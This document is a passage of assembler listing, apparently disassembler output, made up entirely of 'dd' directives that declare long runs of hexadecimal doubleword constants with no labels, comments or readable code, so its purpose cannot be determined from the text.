		dd 0DC417A2Ch, 5E3E747Ah, 14055995h, 0F580D111h, 0EDCB5072h
		dd 1099015Ch, 0F093F60h, 30506D8Ah, 4D2D417Ch, 5A1376A6h
		dd 705EC341h, 0AEA0605Eh, 0B426270Bh, 4218C314h, 25169A12h
		dd 0E8D557ACh, 27F43310h, 7562FA3Ah, 0F0E1CB92h, 0C3999317h
		dd 0EC3DF1BEh, 0B3AA50B8h, 43DFE90Eh, 55872A44h, 271905C0h
		dd 0E9211509h, 0E99B43B6h, 68145EBh, 0B9FCB81h,	7A5530E0h
		dd 2F804840h, 2B717ECEh, 0FDEB5D27h, 0C5BA784Bh, 13ECFC71h
		dd 3787D882h, 2C5E0804h, 5EF002FFh, 7E7609E9h, 65F9D625h
		dd 423BF66h, 86109C4Bh,	0F75C203h, 0C004EEDh, 0FDB2A38Fh
		dd 255AD601h, 3958F289h, 0FB007D9Dh, 0FEB4F8E9h, 0B36329BCh
		dd 0E9BF8425h, 0FFB0B27Ch, 0BEC54025h, 0A3B450D7h, 0E47B65A1h
		dd 348E7E0h, 5C50008Ch,	0E6813ACAh, 0F77C1D4Eh,	49F68316h
		dd 0C3C54D06h, 39B95BC4h, 0BDA02B1Ch, 624BE83h,	752A9268h
		dd 0A0F6D320h, 80330C2Eh, 760EFD68h, 6B5B3A87h,	97A9F0F3h
		dd 72270B40h, 0C176CB6Eh, 57B9037Bh, 0AADB17Ah,	0A24E7D69h
		dd 2E606131h, 1CF25603h, 0C68F6B5Ch, 22FB269Bh,	4673010Ch
		dd 0BE999CFh, 947B684Bh, 4B565C32h, 0E3A498FAh,	5B7CC3B7h
		dd 0D016B719h, 7864A154h, 0BC505407h, 5FAA4F09h, 0BD2ECA3Eh
		dd 0EF274244h, 0E29AB3DEh, 8CE07595h, 0B1A8FB9Ah, 0B4054248h
		dd 0DBF75B49h, 9CC48281h, 113CE76Bh, 0EA2FE59Bh, 8AAD05F6h
		dd 190302ACh, 0F9433C05h, 0F5D81DCDh, 9E5F84Bh,	3747B4Fh
		dd 81FA2FDDh, 6D0E8211h, 265DBA20h, 28E70829h, 438ECFE1h
		dd 21EBF065h, 0C110A6B7h, 8794241Ah, 8816AE94h,	0F807D9AAh
		dd 1EBAFBD2h, 0F5660397h, 0B336C98Dh, 0A698C62Bh, 0DC5BC40Ch
		dd 320C72h, 2904B135h, 34E953FDh, 0DB419DFFh, 7CCA0FC9h
		dd 8568E113h, 0CCC35131h, 0CF0705B4h, 570B09DCh, 84217BECh
		dd 55F4432Ah, 4BCADB00h, 0F536423h, 6D462587h, 2BBAB8DDh
		dd 0DCEFC3F7h, 0D6CAEB31h, 87BE5FFCh, 7A376811h, 1A9DEF60h
		dd 92C6C2F4h, 0EFD7FEF8h, 5AE905CFh, 0B8C291C7h, 0C3C83FA8h
		dd 82627B7Dh, 0AFE7CE05h, 0D12B8144h, 1E72BEFDh, 0D71BE84Ah
		dd 0B04452CAh, 97B85068h, 48F35758h, 0FC084171h, 0D6BDDF29h
		dd 5226BB4h, 7E09CA6Fh,	6851072Fh, 8F1B2B63h, 0C2A2A3C7h
		dd 0B928BEDCh, 0E0E93F57h, 0BF33FE2Fh, 0C0F2D392h, 9099C02Dh
		dd 548C68D0h, 4F4FDF38h, 8440E362h, 99FFEE83h, 678F6FD7h
		dd 0A3650312h, 7FFD10F1h, 79846375h, 0E4D066B9h, 82950925h
		dd 20F718A9h, 4A4715D4h, 0B7E719Dh, 0BAF609A8h,	130B7F52h
		dd 0A8689102h, 98EFC6D7h, 5C30851h, 3000731Bh, 0E9AA0712h
		dd 0F544069h, 2C94844Eh, 1938FCFAh, 509CCD8Eh, 712FB840h
		dd 9C3D62E5h, 665F7DBFh, 0D17261F9h, 0E745ED80h, 2B59EE81h
		dd 68C3CBADh, 0EF85616Ch, 5080D4F3h, 5F66F0B8h,	0D8F76A12h
		dd 92777804h, 349DE902h, 9009EC52h, 77EE508Fh, 35677C60h
		dd 0A35322BCh, 0D03D0896h, 0EE00FE98h, 42150DA5h, 0FC71B031h
		dd 0E4B34FD9h, 0D04195EBh, 0D105DA29h, 0F20E166h, 38B23790h
		dd 0C17D3AC9h, 60E60885h, 826E422Dh, 73FEA024h,	46BD24AAh
		dd 5B169F81h, 0AF56EB28h, 0E2AFA774h, 82D85F8Fh, 82154AE9h
		dd 7974B892h, 0E8AED044h, 0C92698D2h, 0F38980AAh, 0EB04ECB0h
		dd 7B664954h, 24B2DAC7h, 0C6D52B1Fh, 97FC27DCh,	0F8C626A4h
		dd 0A63D9EDAh, 0C5933A04h, 4E8D9AEAh, 80128964h, 20AD39AFh
		dd 5D80F913h, 5EDB9056h, 0AE331789h, 0BE5E258Bh, 5156ED03h
		dd 7815605Eh, 8A7C5562h, 0D2954198h, 9DD0B7DEh,	5B160D20h
		dd 593984Fh, 13A9B94h, 2B02D5Bh, 8CD6D801h, 26592007h
		dd 10FE3828h, 524C75C0h, 0C9FC5B2Ah, 8708CBDFh,	0ED669955h
		dd 0F6606E7Dh, 51DB57A0h, 0EF508398h, 8B7F5D07h, 50A0D49Fh
		dd 0E2AA45E9h, 29C8CF61h, 79B32E84h, 0C5CFB0BDh, 2D03A0B9h
		dd 7F805FA9h, 943EF181h, 0DD72952Dh, 5D0B8D16h,	22DCCBE9h
		dd 553AD3ECh, 73106618h, 4FFA7FF6h, 1F300B5Eh, 24597893h
		dd 2624296Dh, 68060FFBh, 8013558Ah, 4A3BBF57h, 0C2BF317Bh
		dd 0D4E3D50Dh, 0B02644A8h, 2E9070Bh, 55DD12BBh,	3FDA06CBh
		dd 51B7ABD8h, 40086DD9h, 0C41986F0h, 0E9526D02h, 0FDFE9D12h
		dd 0D828C3C5h, 7F33322Dh, 0D34BCE96h, 8EBB284h,	6426FBA7h
		dd 95F3CF0Ch, 0A9B509C5h, 0B77F774h, 0FB025F31h, 9D745431h
		dd 8087449h, 291363F0h,	0FEA84517h, 0F05693DFh,	9809BAF7h
		dd 3BC53Fh, 8667B04Ah, 6ED1B53Ah, 0D24EE90Bh, 0ECC30719h
		dd 0BEF9A763h, 5505A0D3h, 0D2BF8D98h, 2724ED39h, 125A0EB9h
		dd 0AE4CE903h, 881C53D0h, 0D9DE51EBh, 7F8171CBh, 38130299h
		dd 79914B1Fh, 0B650BC38h, 0BA029F6h, 0F189A820h, 3A26AFC5h
		dd 2EC0570Ch, 0B800005h, 0F8013F55h, 0CCBD9168h, 5C883D4Bh
		dd 42E92C85h, 0E831BE6Bh, 0B7004BC9h, 0EF03C082h, 2D880F08h
		dd 0A8165E91h, 1EFA1D3h, 89EA5711h, 5AD3BBh, 8BFBC202h
		dd 65A2FC77h, 0ABC7C7CEh, 0F9ECFAA1h, 0B956C93Dh, 9514D8DDh
		dd 8275ECE2h, 0F71A281Ah, 0AEFCFD33h, 9DF7A588h, 0B6BE1300h
		dd 532C373Dh, 5F01FD81h, 90E91220h, 4044002Ah, 42258D2Dh
		dd 32A4585Ah, 3CD74178h
		dd 8AF8CB37h, 818E1340h, 891EE1CFh, 0EB454F6Eh,	0C7853FA8h
		dd 33A0BB58h, 9E0B539Eh, 80ABAC4Eh, 2ADB50D5h, 1C46E168h
		dd 5BE720B7h, 0DFA0585Fh, 0D5AE0463h, 65DD2955h, 0A0AE6E12h
		dd 0D6BD5B70h, 47F77929h, 0AA5E25BCh, 62EB9B13h, 394AB42Ah
		dd 624C5E77h, 9C8EEB6h,	0B00B5EF5h, 84D03051h, 8AEFE073h
		dd 11E24B7Bh, 8DFEA9A5h, 5B61C9D9h, 0FA4B0128h,	5713FD8Ah
		dd 0C7B5BE50h, 0FE53321Ch, 4A4790FBh, 9AF9C849h, 0B4690828h
		dd 0EF931A3h, 356281F0h, 75862CF9h, 5E993730h, 0BC974132h
		dd 0EF3C2279h, 11D731B2h, 2CFD1EBh, 702D020Ah, 71FF375Dh
		dd 29F1271Eh, 0DDF32DC2h, 0C268FA10h, 56170109h, 9D5A775Eh
		dd 7B280400h, 8B8D0F3Fh, 41A9B6F5h, 6EEF53E9h, 0D42CE892h
		dd 96552F45h, 415198F3h, 0BEE2EAFh, 9102AB3Eh, 54E9290Ah
		dd 4100D37Ah, 757B78C2h, 7D860F0Ch, 0FBD49505h,	0D2AA4E58h
		dd 9E58E032h, 0F41A099Fh, 9588EEAEh, 80270B6Bh,	7A9BBB70h
		dd 95B927Dh, 0B4828564h, 0A9745F86h, 0C383D30Bh, 542B0001h
		dd 0B5776235h, 0ECE98E02h, 873B4A58h, 1E7296D5h, 82B5A9ACh
		dd 87A7CC7h, 6683728h, 0E0D98220h, 5B662DFAh, 42C2B2C0h
		dd 2FC1DA9Fh, 72F40837h, 0F9E42539h, 48E6EFFDh,	0E205F928h
		dd 389443D8h, 6941A21Ch, 0D721F4C9h, 0AA30EE65h, 607B9350h
		dd 0FEB247E9h, 0B4FD1B5h, 9766C874h, 58F16825h,	0E1FB9514h
		dd 0F063FEAFh, 0FF823767h, 0E9C1F559h, 0C834A4BCh, 5FF8EED6h
		dd 82C097C4h, 0DF09FEA2h, 76502AF9h, 905EB2D2h,	9AB55D78h
		dd 0A9F617Bh, 0F5B2F680h, 2F843EEEh, 0B730A8FBh, 0F0AC62A5h
		dd 0C46680Bh, 65624C7Ch, 0B45C05BEh, 0FD7C882Fh, 0A485DD6Eh
		dd 939392D6h, 8BBBD5C2h, 7FF94E04h, 0E409492Fh,	5BF2E47Dh
		dd 10C2D0D2h, 5C95FEECh, 2F0C5940h, 9BB62FD4h, 0FB4E5112h
		dd 82CC74h, 0B996164h, 1A3A53Bh, 0BDB8E908h, 27F78233h
		dd 5D6FD542h, 0A090F1E8h, 8104FE5Ch, 6B9820E2h,	0DD42163Ah
		dd 0ECCB2BB5h, 6948152Dh, 6C765CC6h, 7F12FC4Bh,	0E6A7A091h
		dd 6DF65307h, 1CB80A4Ah, 4338FB96h, 70AC7CBFh, 0FD092FBAh
		dd 0F9FB8E39h, 0E87D30FEh, 0A4D7C5B5h, 0ABAE12C0h, 2D68816Ch
		dd 94651FE8h, 28153988h, 0DAE700C1h, 0F13EA43h,	0BF4AB982h
		dd 0ABF147BCh, 0DEF7002Eh, 0CE84120Fh, 3288EA72h, 1E0C4D69h
		dd 1651E21Eh, 0BAF2C48Bh, 8E2E8ACBh, 0DAC0AD86h, 0AFA8C20Bh
		dd 5C133FEBh, 6DD46085h, 2D670814h, 884FD139h, 26264C9Ah
		dd 0D461D800h, 9EF815Bh, 4741574Fh, 8A0B77Eh, 653BD380h
		dd 43E3F99Fh, 8E58D3D8h, 31A312D3h, 0EC9E99FFh,	0E595E72Bh
		dd 2EEB0125h, 2B09F763h, 804D6E5h, 0E8722DBAh, 49B9FEB1h
		dd 4565189h, 0B2BC6CCBh, 731FCBC1h, 8AF0301Bh, 0CF210F81h
		dd 7872912Ch, 769FA2CCh, 0EB8A0BB6h, 1A1F4E57h,	3093A9E9h
		dd 0F2D8175h, 0B4246788h, 0A40CF42h, 0DF890690h, 9FCC8D2Ch
		dd 0C8220D5Fh, 2F45FE3Ah, 35EBB3C4h, 3547003Bh,	61153144h
		dd 2120B8A0h, 180F1B26h, 63B7B713h, 38D0B770h, 7294392Ch
		dd 8AC7EAFh, 32289F1Fh,	95653A04h, 49BF4D1Dh, 6E29AD83h
		dd 52187EFEh, 5EC426h, 0CD816367h, 3306324Bh, 0D1E925h
		dd 3E0C100h, 527CF248h,	0D4129C8Fh, 0B54ED11Dh,	0FE5B00FAh
		dd 215C5ECAh, 3788AC2h,	9689EFE9h, 0BAC24F3Bh, 150F483h
		dd 49452C1Ah, 30DFF77Bh, 7C005328h, 0D90542E5h,	289D1F27h
		dd 41E1C701h, 93F93B03h, 0D127124Ch, 0E1834A7Dh, 0C46F123Dh
		dd 2F8FBA58h, 13F6AD4Ah, 0A456D69Bh, 59CBD3ABh,	0C67D39B2h
		dd 4AE917C8h, 0AF6F35B3h, 151F1F4h, 8C784BB9h, 20E1C13Fh
		dd 522D8A0Dh, 0AE9E7737h, 13A13424h, 1597681Ch,	0C3A60BF8h
		dd 0E4D7592Fh, 0D412278Ah, 6EDAD5BBh, 310E11D6h, 9CA4E4DFh
		dd 5515FC8h, 89503CE2h,	416982F0h, 0C18517Dh, 0EFCFB96Ah
		dd 5B570425h, 0D15749A1h, 54A9977Eh, 59723FABh,	0EB0E8311h
		dd 58806034h, 46AC0540h, 354E4300h, 8263043Dh, 0C06B4AE9h
		dd 3FD82D8Eh, 56020BF4h, 8E1468BEh, 13A2822Eh, 1621FF78h
		dd 7F4531A5h, 0C1596FB0h, 0F0440FCEh, 33E86E42h, 8895E618h
		dd 0C8945954h, 0E95904E9h, 0F481B8BAh, 56BF6913h, 3C3DEED9h
		dd 96AFE96Ah, 0E237D3ABh, 39BD7C4Eh, 0B786626h,	4444DCCAh
		dd 10E8C117h, 445C63B0h, 3E409C58h, 0C2B5945Dh,	570B8AF5h
		dd 0B4B06148h, 74C83AEBh, 0C9BF4E2Fh, 0AEBE30D1h, 0FB0BEA8h
		dd 12BC48B1h, 69B075AFh, 2B17416Dh, 0FE133EB9h,	894A370h
		dd 12FFF1E7h, 0F88AEFEBh, 3CE95C04h, 0A153B83Bh, 5000D4ABh
		dd 0C7E4C888h, 0FE59581Dh, 1413AA24h, 28E98542h, 2D5B45D7h
		dd 845A9B64h, 0FDEA444Bh, 6FFE93ABh, 758E3FC2h,	49E64620h
		dd 0D8A0442Eh, 0F94A0AA9h, 35D717C0h, 0CC324C5Bh, 814A081Eh
		dd 71776AF2h, 10D27BA9h, 25A274A7h, 2917CD14h, 34E92DE8h
		dd 0DBE95D0Dh, 10D97875h, 0EC4E535Fh, 4D7510AFh, 410AE818h
		dd 94006ECCh, 16101E53h, 22923B2h, 5C87F381h, 0F7F32BFh
		dd 162FD846h, 7AE600ABh, 753A6BB9h, 19017E41h, 5004EDB1h
		dd 0D2B65867h, 0B002E0Ah, 0E425699Dh, 30F63307h, 0A24909E9h
		dd 0CE028630h, 0C393E091h, 1689611Ah, 23BD9031h, 5B804600h
		dd 21E8B419h, 9C7FC6EEh, 0EDA18F00h, 5D0C4D34h,	8B5F0E1Ah
		dd 661A419Dh, 0E77EF4C0h, 0C72A63Eh, 19183D85h,	19EA03C7h
		dd 6E93A88h, 92416501h,	518C821h, 0C0363A9Ch, 0B8660F83h
		dd 9E98130Ah, 2B503203h, 315B185h, 9D29594Ah, 0E071F95h
		dd 3103EE83h, 0C05F993h, 0CE94E12h, 0C8001461h,	809F8395h
		dd 398B42FAh, 81840721h, 0AA9974FEh, 0B07E6C4Eh, 0C068B41Fh
		dd 32A65D2Eh, 393B6AB8h, 62EE8046h, 958F7F04h, 0C1340216h
		dd 0EB4CF3A7h, 8E63C0F5h, 2C503E71h, 6E482448h,	54EE6300h
		dd 340E4383h, 48051CAh,	4BD986DFh, 0A001089h, 39DC6E49h
		dd 181B02A9h, 0FEC5839Fh, 0D9035AAAh, 0C750F7D7h, 2169E30Ah
		dd 46083629h, 84C39088h, 0DA486BB2h, 0C47ABF43h, 4421F08h
		dd 18CE2275h, 97BF7200h, 41960051h, 0A35F2F4h, 550092D4h
		dd 0F63137A9h, 7D01627h, 5FAB14Ah, 0A5E930FCh, 47009B12h
		dd 293ABC7Bh, 0D4DFE6h,	5EA2175Dh, 0C2AEEC24h, 9891D200h
		dd 3E97B6E3h, 887153h, 0DB451C21h, 0FDF36494h, 0B7057600h
		dd 0ABC975B6h, 696C0052h, 98DEF283h, 21009A53h,	23D61EF5h
		dd 325CFA1h, 28B26556h,	8490BC50h, 2601D248h, 9E945DBBh
		dd 2ED463BDh, 24B10786h, 57B573F3h, 7A8F5031h, 5000A062h
		dd 969CD2B9h, 0B84895A8h, 0F39200F8h, 7A431752h, 4C00BFB7h
		dd 36B8A3F5h, 0B0F186h,	0FC3E41D5h, 0F9763AD0h,	17DED100h
		dd 0A97F429Ch, 0E8CC003Ch, 0CEC0ABDCh, 87003605h, 7C6FB104h
		dd 0D20B08h, 56B73179h,	0C4DD397Bh, 0FB78E009h,	430C0EBCh
		dd 0FF91D7FFh, 0F5903467h, 3D2144Bh, 7077E915h,	10F067B6h
		dd 3A2A710Dh, 0E500B845h, 0BB87D8D2h, 69757Ch, 9D159F26h
		dd 25996357h, 1202C0A0h, 4EEBD100h, 8AEF6913h, 617A23h
		dd 4F76F881h, 0EE54F76Fh, 9FD63607h, 0ACC02C52h, 5C045F9Bh
		dd 381DA7BEh, 0C71C00E7h, 693F3007h, 3131900h, 48F433C3h
		dd 0F2750717h, 479A0C21h, 593690E4h, 0BB2460E2h, 92037C5Bh
		dd 0E0B2938Bh, 7F312Ch,	5FD146CAh, 0D273E56Bh, 13051600h
		dd 3F1D6AA1h, 501000CEh
		dd 0F7B22EDCh, 7AEF1863h, 3EF00CB0h, 458C59B0h,	0A9B0309Bh
		dd 5A005790h, 274B46D4h, 1505DD3h, 3A3841B6h, 0D08788BBh
		dd 0DA00F5B3h, 939F2948h, 0E42676h, 96CC9A1Bh, 0F0A0FD53h
		dd 8E98D800h, 7FF7F908h, 0E3FB013Ah, 4FFA7339h,	55E0242Bh
		dd 0DCD00200h, 1B6C6EE8h, 0B3600021h, 7BF30607h, 0D9763B29h
		dd 0A29CF405h, 29803C71h, 36662B4h, 8CCCC2A5h, 0DEB08F09h
		dd 7300933Bh, 9D162150h, 0FA1C5B62h, 0C7940003h, 0F8A9BEC2h
		dd 301DDD91h, 0D0C0B0BBh, 512D451Dh, 48EC4803h,	710B4A00h
		dd 5414222Bh, 2A6FC315h, 0E25B01B0h, 7BF2FC21h,	0F9CAC050h
		dd 54230DCh, 9E5DE078h,	3908550Eh, 4504A0FCh, 24D686CCh
		dd 0CC1046h, 33274258h,	0D000A66Dh, 0D4596A5Ah,	0F8B943h
		dd 0A82DEB7Dh, 0A009BE4Ch, 0EA00E0E8h, 611CC0AEh, 25E7444h
		dd 11CD7C22h, 53E0A940h, 0C60FC9AAh, 7101AADh, 9671D718h
		dd 0CFF8AB06h, 0C30703FBh, 25452CB6h, 15276AD0h, 0E6138102h
		dd 0C0356BB4h, 9266F3h,	0D6BAA908h, 75010A57h, 4F0F403h
		dd 121B94h, 0BC47CF59h,	0B5EF42D4h, 706B8400h, 0F2960714h
		dd 0E48D51E2h, 0F605DCh, 15D8E3FCh, 0B57E3082h,	13102300h
		dd 0BA83DCC9h, 0F7C0077h, 89B3620Bh, 0E1B0804Fh, 1526E100h
		dd 96408FC9h, 0C2C079Ah, 0A083B6A1h, 0AB274503h, 0AC3C52h
		dd 95FB02FDh, 18B0A12h,	0DA8F36Ch, 0E6B335C0h, 7FF28460h
		dd 2F55C600h, 4ED454B0h, 12C500A9h, 0C876C70Dh,	148E977h
		dd 295F0328h, 8AD4EBh, 93883E11h, 0FEB4C61Ch, 5C4A01Ch
		dd 105283C7h, 0C5B5BC60h, 0D21C0124h, 0F03D045Bh, 4F61E482h
		dd 0D4031972h, 0D5E49749h, 946D0AAh, 0E7FC00BCh, 13F1531Eh
		dd 0A80657ACh, 0CB349FD8h, 0AF4B006Ch, 475122D0h, 24902D9Ah
		dd 76B50818h, 0C14BD3Ch, 988A8E59h, 69EADD50h, 0EC70F400h
		dd 0D48FE2DFh, 67AC0062h, 0DCB9076Dh, 99713FFFh, 8E82963Fh
		dd 0A0C64F5Eh, 320AF9CCh, 42FD0002h, 17C256FEh,	6C0A1FDDh
		dd 0E081E77Dh, 194D1000h, 0EF2D22h, 142AEDEEh, 3D89933Ah
		dd 0AEA35512h, 0E7134800h, 50F5C4E1h, 1D83A01Fh, 71CF1DCh
		dd 80B073F7h, 0F9D010E4h, 16BFBE07h, 4480905Bh,	22A4AEh
		dd 69391D48h, 737AA8A1h, 5F527803h, 0D09101ACh,	99AFF79h
		dd 506271B3h, 0C57D3A00h, 300C04Bh, 5D3C05D6h, 8E9CA2h
		dd 0D2CD7934h, 5CAE1EDEh, 42461407h, 29C08CF2h,	0CBE78CCh
		dd 956F53C1h, 72FE1911h, 3BCDA10Eh, 61EA0081h, 0B17DD3Ah
		dd 0A3E3A911h, 0E70A1800h, 0AE5C69DFh, 0CC0077C9h, 6DAA1C13h
		dd 3487FB1h, 0E85E6F8Eh, 83959962h, 0FDE8028Bh,	8F1EA32Ah
		dd 0F1875493h, 45A0F73Eh, 58917B2Fh, 0A001828h,	61E0A91Ah
		dd 0D303640Eh, 3639AD24h, 38268989h, 4B7034h, 86CAA0AAh
		dd 5B851CE9h, 0A96919CEh, 347C8044h, 7A04C708h,	393104F6h
		dd 0C2A21E93h, 0F4E3C8DFh, 4DE0C0D4h, 1A30273Fh, 9B2AE883h
		dd 0F8080073h, 0EE30577h, 0F34C01B8h, 99C5000Eh, 8F0B4E89h
		dd 16C59890h, 1AA9A91h,	0E1473035h, 62B07035h, 0B560E04h
		dd 4807906h, 8B53CAh, 36206ACEh, 0C997E66Bh, 0C8078875h
		dd 64FC7FC5h, 0C282801Bh, 713C3106h, 0DF5200A4h, 334DE005h
		dd 0C0C13AAEh, 11CB8DECh, 0F2CA7F8h, 86B63592h,	966EA1E7h
		dd 0A2005ED1h, 0A9742BECh, 155CEBh, 66F5C80Bh, 0F970188Ah
		dd 3C2AD300h, 6FF18236h, 448B04Bh, 0FD1A60ABh, 8481C779h
		dd 404C0F6h, 24338A08h,	0D04711B0h, 12ABE5ADh, 9BFCF4h
		dd 5E6766B4h, 11CF9C8Dh, 0E7CC0CEh, 3B68B91Eh, 0CA024192h
		dd 6DC783A1h, 518458C0h, 0BC315F00h, 0CCEF3C14h, 0C2CE26EBh
		dd 8703052Bh, 3900807Bh, 0CD004BADh, 9EA8481Eh,	0AC84CCh
		dd 5EBBF88Eh, 0E7DEBDF7h, 6BFEB60Eh, 0DB07720Ah, 58120131h
		dd 0A308C86Ch, 3E1E28BDh, 6A9300FAh, 0E9714C8Ah, 0C700E33Ah
		dd 0B4780D77h, 9C2D60h,	0E8D3ECE1h, 0F60BF030h,	0FA3EA700h
		dd 0C536B675h, 608D0055h, 184E5270h, 3971EBDCh,	1B463200h
		dd 0F7B8157Ch, 0E7A206C3h, 101A9E78h, 0EF2E1DEEh, 0DA9D4C85h
		dd 806DC3CBh, 0FE5BB909h, 10754820h, 905F2Ch, 8242DB22h
		dd 0E1007CC6h, 86969B4Fh, 0FC353BAFh, 52A600A2h, 0CD3AF1C3h
		dd 0A0009EECh, 42FE8DE1h, 48E81207h, 0C080D8E0h, 4A152C09h
		dd 7704E48h, 55C2A4F9h,	0C63E5B50h, 43E000E5h, 0C1AF5A54h
		dd 0D9002815h, 59AEEB7Ah, 48172Ah, 0FF9FD7EAh, 328899CEh
		dd 0DFE3770Eh, 7D45E010h, 63F4B2h, 18A6945Bh, 0C7292D8Ah
		dd 0ED19F700h, 51828475h, 1CAA025Ch, 5B364704h,	807F04E1h
		dd 0EE57DEE9h, 0E4E872F6h, 51700D3h, 0A1B7332Dh, 520016CFh
		dd 0B5756CCEh, 227B59h,	82181D5Ch, 4CBFB3FEh, 58DD9C00h
		dd 947C3DAFh, 0D7811020h, 1375084Fh, 0CDF56036h, 3C000E1Bh
		dd 7A504660h, 90E0B94Ah, 0B6050078h, 802DB327h,	0A00B8653h
		dd 80B84EB4h, 1FFAE2Dh,	12CC0093h, 2C054F1Dh, 900066DAh
		dd 0B23EC382h, 28CE6134h, 94E88Ah, 9E4ABC39h, 28DA815Dh
		dd 83B16707h, 58775219h, 4B46D010h, 0AE4E00E5h,	76A3F49Eh
		dd 781E8B3Bh, 2E806DFCh, 80EF4081h, 0DB690956h,	1C69DEF3h
		dd 9338E482h, 3D652100h, 0AEED4BEBh, 8430034Ch,	0C7F20AB0h
		dd 9B4502A8h, 0F7800301h, 702A6975h, 174FCh, 0E734E531h
		dd 28A68E6Eh, 5AF1AB00h, 0C5024498h, 47253C38h,	2078B680h
		dd 9EFF89B8h, 48408A4Bh, 0ED28F76Bh, 33EC00AFh,	5BC3A0EEh
		dd 0DF013008h, 6B373CD6h, 6DF0BC86h, 71D4E984h,	2567041Fh
		dd 0C0ADD987h, 249947Bh, 0AE6B3800h, 3E8D81A6h,	16032C9Ch
		dd 1C9F00E0h, 31AF5EDEh, 0A5699400h, 5A9CF2CCh,	1AE625h
		dd 5E3DC4C9h, 0A64A3C88h, 0F580AC50h, 945F1700h, 0EB95F768h
		dd 27792844h, 0FA6F00B4h, 0A5ACE077h, 883DDAF9h, 0EDCB00F7h
		dd 7D263390h, 0A9BA00FCh, 3FF803C3h, 1B28A422h,	5D07D8D9h
		dd 0D734651Dh, 463807D0h, 229D0226h, 0B209D3B5h, 7E0C18E0h
		dd 0D3D2A05h, 0E080C810h, 5F7196h, 164DD554h, 76D1F315h
		dd 0AA69B400h, 89308F56h, 5C0E1C7Eh, 32AE8559h,	2BC40A8Bh
		dd 6CFE0BAAh, 0F9E87413h, 6E0084ADh, 6FE9583Eh,	9A41E3Bh
		dd 6A37AFDDh, 0A5F1C000h, 90000F96h, 598E9D25h,	83268Ch
		dd 0B7493185h, 0FB71040Ch, 0A145Ch, 37C788B2h, 9847D6EBh
		dd 49FA17D3h, 2B770061h, 77390319h, 60EEAC00h, 7C8A21ADh
		dd 0FC3B7424h, 2F8917CCh, 27604EDFh, 6B5C9CC0h,	0E6006FB1h
		dd 490CC9D8h, 8D656Eh, 0D7BB89BFh, 0F33A05F9h, 0DB00E6E8h
		dd 3BBAB415h, 0B04A6D97h, 38CF83Bh, 42DF33DAh, 0A6F8445Ch
		dd 5A01E720h, 772E8D07h, 48F5022Bh, 4ADAF8h, 0C99311EEh
		dd 0F462BD36h, 0BB88B71Fh, 0EB653AC0h, 41CF067h, 0B3BF60A3h
		dd 9090B08Fh, 8842002h,	5183F102h, 0FA050084h, 0C70B1394h
		dd 8115763Eh, 171873C0h, 16EC8CC5h, 228501CAh, 2661D61Ch
		dd 9060D0E7h, 0C6245006h, 13618C37h, 0C0A2165Fh, 267A99A4h
		dd 560FDA78h, 253EEA24h, 10051D01h, 1C009121h, 0FE83900Bh
		dd 82581D09h, 0BD7C0602h, 0A6072836h, 3F59A8B5h, 8AC36C85h
		dd 0A0C5A32Eh, 635AAA84h, 0E2DE183Bh, 669D28A0h, 0F0660D2h
		dd 0F8500F56h, 7980C059h, 0ADBFD708h, 20B94400h, 0BA268B76h
		dd 245A0356h, 59CAB3DCh, 0DE809001h, 880B36FCh,	38179890h
		dd 217D8609h, 66B98B79h
		dd 50B9D00Fh, 0E4006B7Bh, 59A1C53Fh, 79BA9Dh, 2F90FD05h
		dd 0FF121DA8h, 0E869F803h, 0E85E8B98h, 81A0A1h,	0FC4C0436h
		dd 6642176Bh, 9B034F70h, 8C2C657Ah, 60EA8AC1h, 0E61C5Eh
		dd 2853EE24h, 0D8AD9972h, 225C5000h, 39AB4BBDh,	4C350054h
		dd 48652478h, 250F1029h, 4E673Ah, 731AB71Ch, 0B3AD0064h
		dd 36E98360h, 12002A49h, 1F8B6C90h, 70074505h, 9A8C00F1h
		dd 0EE625EF7h, 951D49CAh, 0E06F36BEh, 2A9BD0A5h, 4BE43A44h
		dd 90660546h, 0B78C0296h, 90A18DB6h, 9DA7CAA9h,	0B20FC728h
		dd 0CB4A942h, 0E8362155h, 7D8B377Ch, 70920011h,	0A4500D31h
		dd 0F818971Ch, 0DD11B9A9h, 93660C84h, 5881BED8h, 444A621Eh
		dd 602611B0h, 22A2107Dh, 0CA6012Ah, 34DE9B40h, 52499009h
		dd 26589022h, 50C06898h, 0BE180F81h, 15109C8Bh,	6200E1DBh
		dd 2165AACh, 67562A10h,	10C7C8C8h, 39C3BC21h, 0FC0C1EE8h
		dd 108175B7h, 9C57D55h,	2689FB72h, 0C3C5800h, 520133B2h
		dd 7965930Dh, 70D8AFBFh, 0E1A4A38Bh, 0FFF8ABD6h, 4610C086h
		dd 8324FEA4h, 49056B03h, 0C132629Eh, 5FF095F1h,	86C3EE4h
		dd 14A79914h, 5CF01Fh, 2680F760h, 0AA00B3E6h, 53973F69h
		dd 60A305DEh, 3D32789Fh, 0DF3A20A4h, 80B0607Dh,	6202AEC9h
		dd 93DA385Fh, 0DB098C48h, 80464928h, 0B0BF3500h, 8339DC44h
		dd 0FA6B036Eh, 2B8D130Fh, 26A62002h, 9E50ED9Bh,	7BA32320h
		dd 3A4B0738h, 96800118h, 51C167Fh, 455B3258h, 86D44FA3h
		dd 3EF2CFE0h, 59196C1Eh, 0A908F621h, 97F2180h, 76FD5BCFh
		dd 0B6FAC40Eh, 9770C5ADh, 3D1BA401h, 0F884744Fh, 90A1A9F5h
		dd 6DA8E42Ch, 48852037h, 0BDAFE370h, 4A21FE2h, 80C1B082h
		dd 0B0005451h, 0DB5DEDC4h, 0CE3B2E6Eh, 0A3410881h, 0C8AD80C9h
		dd 0C9A038FBh, 36058398h, 0FAEC262Ah, 47658004h, 0E5E7C700h
		dd 3948C25Ch, 8A561320h, 0F560D420h, 4130D9E0h,	9D099801h
		dd 1ED4021h, 202337E0h,	83467E3Dh, 0ECFDABD0h, 84E804AFh
		dd 4625F12h, 0C080D0A1h, 0C15EA807h, 756ABDC9h,	565AC424h
		dd 62DC8C19h, 8850A908h, 6755298h, 0BF0A86EDh, 0B0CC618Eh
		dd 2D60A2h, 3112AE08h, 6A1702A6h, 12AC1648h, 0F4C7DFEBh
		dd 1E2252C0h, 3CAB0364h, 4CB3A3B9h, 21480830h, 1A1E5AF8h
		dd 0A0E2937Fh, 411AFC01h, 0DDB84C0Ah, 0B4ED09C3h, 54397CB6h
		dd 60A98817h, 277EB1ADh, 57012B52h, 1ACFCC7h, 7C21E19Eh
		dd 0E8958CE4h, 938A30A6h, 6A8BC041h, 0EEE3AE00h, 9F1F2048h
		dd 414E005Bh, 5002F9EAh, 6305B4EFh, 0FB64F526h,	445BC421h
